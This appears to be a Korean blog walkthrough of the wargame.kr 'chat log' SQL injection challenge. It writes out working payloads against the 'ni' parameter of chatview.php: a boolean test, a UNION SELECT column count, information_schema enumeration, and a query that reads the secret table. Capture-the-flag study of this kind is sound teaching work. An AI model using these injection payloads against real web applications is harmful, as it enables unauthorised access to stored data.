풀이
Simple SQLi Challenge.
How can I set in order to reduce the traffic?
Please try looking at a developer's perspective.
해당 코드를 봐보자.
function getchatlog(type){
xmlhttp = new XMLHttpRequest();
if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");
}else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);}
xmlhttp.send(null);
}
chatlog.php와 chatview.php라는 2개의 페이지가 추가로 있는 것이 확인되었다.
먼저 chatlog.php에 들어가 보자.
56215라는 숫자가 나왔다. 이 값을 chatview.php에 넣어보자.
테스트로 해본 채팅 로그가 출력된다. ni 값을 다른 값으로 바꾸면?
다른 사람이 입력했던 채팅들도 볼 수 있다.
아마도 SQL 쿼리문을 이용해 정보를 가져오는 거 같은데.. ni쪽을 이용해 SQLi 해보자.
&ni=56205 and 1=1을 넘겨주면?
문제없이 잘 출력된다. union select 구문을 이용해 컬럼의 개수를 알아내보자.
&ni=55555 union select 1,2,3,4,5%23
5번째에서 정상적으로 작동하는 것을 보아하니, 컬럼수는 5개이다.
이번에는 테이블 이름을 뽑아보자.
&ni=55555 union select 1,table_name,3,4,5 from information_schema.tables limit 56205,56210%23
다음은 컬럼 이름이다.
&ni=55555 union select 1,column_name,3,4,5 from information_schema.columns limit 56205,56210%23
readme의 내용을 읽으려면 column_name 자리에 readme, information_schema.columns 자리에 chat_log_secret을 넣자.
'Wargame > wargame.kr' 카테고리의 다른 글
[Wargame.kr] SimpleBoard 풀이 (360p) (0) | 2020.07.29 |
---|---|
[Wargame.kr] pyc decompile 풀이 (354p) (0) | 2020.07.29 |
[Wargame.kr] php? c? 풀이 (291p) (0) | 2020.07.29 |
[Wargame.kr] img recovery 풀이 (288p) (0) | 2020.07.29 |
[Wargame.kr] type confusion 풀이 (282p) (0) | 2020.07.29 |